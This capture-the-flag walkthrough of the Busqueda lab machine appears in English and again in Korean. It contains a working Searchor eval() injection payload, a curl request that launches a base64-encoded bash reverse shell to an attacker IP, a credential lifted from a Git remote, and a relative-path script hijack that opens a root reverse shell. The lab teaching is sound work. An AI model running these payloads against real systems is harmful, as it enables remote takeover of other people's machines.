Target IP: 10.10.11.208
Hostname: searcher.htb

Initial Reconnaissance

I started by adding the hostname to /etc/hosts, then scanned the target.

echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.11.208

Only two ports were open.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    Apache httpd 2.4.52

The Searcher Web Application

Port 80 hosted a search tool. It let you pick a search engine, type a query, and it either returned a URL or redirected you to the results. The footer gave away the whole stack.

<p class="copyright">Powered by
  <a href="https://flask.palletsprojects.com">Flask</a> and
  <a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a>
</p>

Flask plus Searchor 2.4.0 is the interesting part. That version of Searchor builds its URL with eval() on user input, which is a textbook command injection.

Searchor 2.4.0 Command Injection

Because the query ends up inside an eval() call, I could break out of the string and run arbitrary Python. The payload closes the original argument, calls os.system, and comments out the rest of the expression.

',__import__('os').system('<reverse shell>')) #

Wrapping the reverse shell in base64 keeps the special characters from breaking the request. There is a public exploit that automates exactly this, but the core request is simple:

rev=$(echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.20/9001 0>&1'" | base64)
curl -s -X POST http://searcher.htb/search \
  -d "engine=Google&query=',__import__('os').system('echo ${rev}|base64 -d|bash')) #"

The listener caught a shell as svc, which was enough for the user flag.

cat user.txt

Finding Credentials in .git

The web application lived in /var/www/app, and it was a Git working copy. The remote URL in the Git config still carried credentials.

cat /var/www/app/.git/config
[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

The password jh1usoih2bkjaspwe92 turned out to be reused for the svc user, so it also opened up sudo. I added the Gitea vhost to /etc/hosts for later.

echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

Privilege Escalation

svc could run one script as root.

sudo -l
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

The script exposed three actions: docker-ps, docker-inspect, and full-checkup.

sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                ...   NAMES
960873171e2e   gitea/gitea:latest   ...   gitea
f84a6b33fb5a   mysql:8              ...   mysql_db

docker-inspect passes a user-controlled --format straight to docker inspect, so I could dump the full container config, including environment variables.

sudo python3 /opt/scripts/system-checkup.py docker-inspect \
  --format='' 960873171e2e

That leaked the Gitea database password and let me log into Gitea as the administrator, where the system-checkup.py source lives in a private repo. Reading that source revealed the real weakness in full-checkup.

elif action == 'full-checkup':
    arg_list = ['./full-checkup.sh']
    print(run_command(arg_list))

full-checkup runs ./full-checkup.sh with a relative path. Since the script inherits the current working directory, I could plant my own full-checkup.sh in a directory I control and run the sudo action from there.

cd ~
echo -en '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.20/1234 0>&1' > ./full-checkup.sh
chmod +x ./full-checkup.sh
sudo python3 /opt/scripts/system-checkup.py full-checkup

The listener returned a root shell, and the root flag followed.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.208] 37162
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Root shell from the relative-path full-checkup hijack

Takeaways

Busqueda chains three very common mistakes. A library that uses eval() on user input gives the foothold, credentials hardcoded in a Git remote give lateral movement, and a privileged script that calls a helper by relative path gives root.

The privilege escalation is the classic lesson: when a root script executes ./something, it trusts wherever you happened to run it from. Absolute paths in privileged scripts are not a style preference: they are a security boundary.


대상 IP: 10.10.11.208
호스트명: searcher.htb

초기 정찰

먼저 도메인을 /etc/hosts에 추가하고 대상을 스캔했습니다.

echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.11.208

열린 포트는 두 개뿐이었습니다.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    Apache httpd 2.4.52

Searcher 웹 애플리케이션

80번 포트에는 검색 도구가 있었습니다. 검색 엔진을 고르고 검색어를 입력하면 URL을 돌려주거나 결과 페이지로 리다이렉트해주는 서비스였는데요. 페이지 하단에 전체 스택이 그대로 드러나 있었습니다.

<p class="copyright">Powered by
  <a href="https://flask.palletsprojects.com">Flask</a> and
  <a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a>
</p>

여기서 중요한 건 Flask와 Searchor 2.4.0 조합이에요. 이 버전의 Searchor는 사용자 입력을 eval()로 처리해서 URL을 만드는데, 이건 교과서적인 command injection으로 이어집니다.

Searchor 2.4.0 Command Injection

검색어가 결국 eval() 안으로 들어가기 때문에, 문자열을 빠져나와서 임의의 Python 코드를 실행할 수 있습니다. 페이로드는 원래 인자를 닫고, os.system을 호출한 뒤, 나머지 표현식을 주석으로 처리하는 구조예요.

',__import__('os').system('<reverse shell>')) #

reverse shell을 base64로 감싸면 특수문자가 요청을 깨뜨리는 걸 막을 수 있습니다. 이 과정을 자동화한 공개 exploit도 있지만, 핵심 요청 자체는 단순합니다.

rev=$(echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.20/9001 0>&1'" | base64)
curl -s -X POST http://searcher.htb/search \
  -d "engine=Google&query=',__import__('os').system('echo ${rev}|base64 -d|bash')) #"

리스너에 svc 셸이 붙었고, user 플래그를 얻기엔 충분했습니다.

cat user.txt

.git에서 credential 찾기

웹 애플리케이션은 /var/www/app에 있었고, Git 작업 디렉터리였습니다. Git 설정의 remote URL에 credential이 그대로 박혀 있었어요.

cat /var/www/app/.git/config
[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

jh1usoih2bkjaspwe92라는 비밀번호는 svc 계정에도 재사용되고 있어서, sudo까지 열어줬습니다. 나중을 위해 Gitea vhost도 /etc/hosts에 추가해뒀습니다.

echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

권한 상승

svc는 특정 스크립트를 root로 실행할 수 있었습니다.

sudo -l
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

이 스크립트는 docker-ps, docker-inspect, full-checkup 세 가지 동작을 제공했습니다.

sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                ...   NAMES
960873171e2e   gitea/gitea:latest   ...   gitea
f84a6b33fb5a   mysql:8              ...   mysql_db

docker-inspect는 사용자가 넘긴 --format을 그대로 docker inspect에 전달합니다. 그래서 컨테이너 설정 전체를, 환경 변수까지 포함해서 뽑아낼 수 있었어요.

sudo python3 /opt/scripts/system-checkup.py docker-inspect \
  --format='' 960873171e2e

여기서 Gitea 데이터베이스 비밀번호가 노출됐고, 이걸로 Gitea 관리자 계정에 로그인할 수 있었습니다. system-checkup.py의 소스가 바로 이 Gitea의 비공개 저장소에 들어 있었거든요. 소스를 읽어보니 full-checkup의 진짜 문제가 보였습니다.

elif action == 'full-checkup':
    arg_list = ['./full-checkup.sh']
    print(run_command(arg_list))

full-checkup은 ./full-checkup.sh를 상대 경로로 실행합니다. 스크립트가 현재 작업 디렉터리를 그대로 물려받기 때문에, 내가 제어할 수 있는 디렉터리에 full-checkup.sh를 직접 심어두고 거기서 sudo 명령을 실행하면 되는 거죠.

cd ~
echo -en '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.20/1234 0>&1' > ./full-checkup.sh
chmod +x ./full-checkup.sh
sudo python3 /opt/scripts/system-checkup.py full-checkup

리스너에 root 셸이 붙었고, root 플래그까지 이어졌습니다.

connect to [10.10.14.20] from (UNKNOWN) [10.10.11.208] 37162
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

상대 경로 full-checkup 하이재킹으로 얻은 root 셸

정리

Busqueda는 아주 흔한 실수 세 가지를 엮은 머신입니다. 사용자 입력을 eval()로 처리하는 라이브러리가 발판을 주고, Git remote에 하드코딩된 credential이 수평 이동을 주고, helper를 상대 경로로 호출하는 권한 있는 스크립트가 root를 줍니다.

권한 상승은 전형적인 교훈을 보여줍니다. root 스크립트가 ./something을 실행한다는 건, 결국 당신이 어디서 실행했든 그 위치를 신뢰한다는 뜻이거든요. 권한 있는 스크립트에서 절대 경로를 쓰는 건 취향 문제가 아니라 보안 경계입니다.